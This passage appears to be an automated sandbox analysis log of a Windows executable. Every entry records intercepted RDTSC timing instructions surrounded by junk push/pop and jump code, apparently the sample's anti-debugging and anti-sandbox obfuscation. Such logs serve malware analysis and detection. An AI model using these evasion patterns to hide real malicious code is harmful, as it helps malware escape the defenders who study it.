Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D67BF7 second address: D67C07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D34B708FAh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D67C07 second address: D67C5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D344F4AC5h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F0D344F4AC5h 0x00000012 jmp 00007F0D344F4ABFh 0x00000017 jmp 00007F0D344F4AC2h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D67C5E second address: D67C64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6AF02 second address: D6AF08 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D07F58 second address: D07F5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6EDB7 second address: D6EDBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6EDBF second address: D6EDC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7083A second address: D70847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70847 second address: D7084B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7084B second address: D70851 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D70851 second address: D7087C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F0D34B70907h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jl 00007F0D34B70900h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7087C second address: D708A2 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 jg 00007F0D344F4AC3h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D708A2 second address: D708A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76AAA second address: D76AAE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75726 second address: D75740 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0D34B70904h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75F9D second address: D75FDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 jmp 00007F0D344F4ABBh 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop edi 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jc 00007F0D344F4AB6h 0x0000001a je 00007F0D344F4AB6h 0x00000020 jmp 00007F0D344F4ABFh 0x00000025 popad 0x00000026 pushad 0x00000027 push ecx 0x00000028 pop ecx 0x00000029 push edi 0x0000002a pop edi 0x0000002b pushad 0x0000002c popad 0x0000002d push esi 0x0000002e pop esi 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75FDD second address: D75FE4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75FE4 second address: D75FEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D75FEA second address: D75FF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D762D8 second address: D762F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F0D344F4AC9h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D762F6 second address: D76312 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F0D34B70908h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D76640 second address: D7664E instructions: 0x00000000 rdtsc 0x00000002 je 00007F0D344F4AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7664E second address: D76671 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jp 00007F0D34B70904h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jbe 00007F0D34B708F6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFF959 second address: CFF95E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFF95E second address: CFF968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFF968 second address: CFF97A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F0D344F4AB6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFF97A second address: CFF97E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7B29F second address: D7B2B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F0D344F4ABEh 0x0000000a pop eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7B2B7 second address: D7B2BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7B56C second address: D7B599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F0D344F4AC3h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e jmp 00007F0D344F4AC1h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7BA23 second address: D7BA41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007F0D34B70906h 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7BA41 second address: D7BA49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D7C334 second address: D7C338 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D82194 second address: D821BD instructions: 0x00000000 rdtsc 0x00000002 jng 00007F0D344F4AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jp 00007F0D344F4AC7h 0x00000010 js 00007F0D344F4ABCh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D821BD second address: D821CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F0D34B708F6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D81243 second address: D81249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D81249 second address: D81275 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007F0D34B708FEh 0x0000000c jc 00007F0D34B70918h 0x00000012 jmp 00007F0D34B708FEh 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D813CB second address: D813E2 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0D344F4ABAh 0x00000008 pushad 0x00000009 js 00007F0D344F4AB6h 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8186A second address: D8186E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8186E second address: D81872 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D81872 second address: D81880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 je 00007F0D34B708F6h 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D819AD second address: D819B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D819B1 second address: D819B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D819B5 second address: D819BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D819BB second address: D819C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D819C1 second address: D81A0D instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0D344F4AC8h 0x00000008 push edi 0x00000009 jmp 00007F0D344F4ABCh 0x0000000e pop edi 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jne 00007F0D344F4AF8h 0x00000017 pushad 0x00000018 jmp 00007F0D344F4AC2h 0x0000001d push eax 0x0000001e pop eax 0x0000001f push edx 0x00000020 pop edx 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D81A0D second address: D81A11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D81A11 second address: D81A2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D344F4AC8h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D2EEE3 second address: D2EEFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D34B70904h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D81FF1 second address: D82005 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0D344F4AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007F0D344F4ABAh 0x00000010 push edx 0x00000011 pop edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D82005 second address: D82016 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0D34B708FCh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D82016 second address: D8201C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8201C second address: D82022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8093F second address: D80964 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F0D344F4AC5h 0x0000000f jnl 00007F0D344F4AB6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46285 second address: D2E36C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 pushad 0x00000008 push ecx 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c pushad 0x0000000d ja 00007F0D34B708F6h 0x00000013 jmp 00007F0D34B70903h 0x00000018 popad 0x00000019 popad 0x0000001a nop 0x0000001b mov edx, dword ptr [ebp+122D197Ch] 0x00000021 call dword ptr [ebp+122D30CFh] 0x00000027 pushad 0x00000028 pushad 0x00000029 jmp 00007F0D34B70901h 0x0000002e jmp 00007F0D34B70903h 0x00000033 jmp 00007F0D34B708FCh 0x00000038 popad 0x00000039 pushad 0x0000003a jmp 00007F0D34B70903h 0x0000003f pushad 0x00000040 popad 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46761 second address: D46767 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46767 second address: D46771 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F0D34B708F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46A2D second address: D46A34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46A34 second address: D46A41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46A41 second address: D46A45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46B7C second address: D46B86 instructions: 0x00000000 rdtsc 0x00000002 js 00007F0D34B708F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46B86 second address: D46BBC instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F0D344F4ABCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F0D344F4ABCh 0x00000013 mov eax, dword ptr [eax] 0x00000015 pushad 0x00000016 jmp 00007F0D344F4ABBh 0x0000001b jng 00007F0D344F4ABCh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D475F3 second address: D2EEE3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dl, F4h 0x0000000c or dword ptr [ebp+122D2178h], eax 0x00000012 call dword ptr [ebp+1244A72Dh] 0x00000018 push edx 0x00000019 push eax 0x0000001a jg 00007F0D34B708F6h 0x00000020 pop eax 0x00000021 pop edx 0x00000022 jo 00007F0D34B70924h 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F0D34B708FAh 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D89D9A second address: D89DA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jo 00007F0D344F4AC9h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D89F07 second address: D89F0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A045 second address: D8A04B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A04B second address: D8A050 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A050 second address: D8A056 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A1B2 second address: D8A1CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D34B70905h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A480 second address: D8A484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A484 second address: D8A48E instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0D34B708F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A48E second address: D8A497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A497 second address: D8A4A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A4A0 second address: D8A4C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D344F4AC6h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c jo 00007F0D344F4B08h 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A4C9 second address: D8A4CF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8A4CF second address: D8A502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0D344F4AC2h 0x0000000d jmp 00007F0D344F4AC9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8EC12 second address: D8EC16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D8EC16 second address: D8EC1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91AD6 second address: D91ADE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D91ADE second address: D91B32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F0D344F4AC2h 0x0000000b jmp 00007F0D344F4AC5h 0x00000010 pushad 0x00000011 jmp 00007F0D344F4AC9h 0x00000016 jmp 00007F0D344F4ABCh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D93CBC second address: D93CD7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0D34B70907h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D96C12 second address: D96C18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D96C18 second address: D96C28 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0D34B70902h 0x00000008 jne 00007F0D34B708F6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D96C28 second address: D96C32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D96C32 second address: D96C36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9AD22 second address: D9AD27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9AD27 second address: D9AD39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0D34B708FCh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F346 second address: D9F350 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F0D344F4AB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F490 second address: D9F4AE instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F0D34B708F6h 0x00000008 jmp 00007F0D34B708FCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jc 00007F0D34B708FCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F5DB second address: D9F5E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9F5E5 second address: D9F5EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9FA01 second address: D9FA33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F0D344F4AB6h 0x0000000a popad 0x0000000b pop ecx 0x0000000c pushad 0x0000000d jmp 00007F0D344F4AC0h 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F0D344F4AC1h 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D9FA33 second address: D9FA37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46FE0 second address: D46FE4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46FE4 second address: D46FEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46FEE second address: D46FF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D46FF2 second address: D46FF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
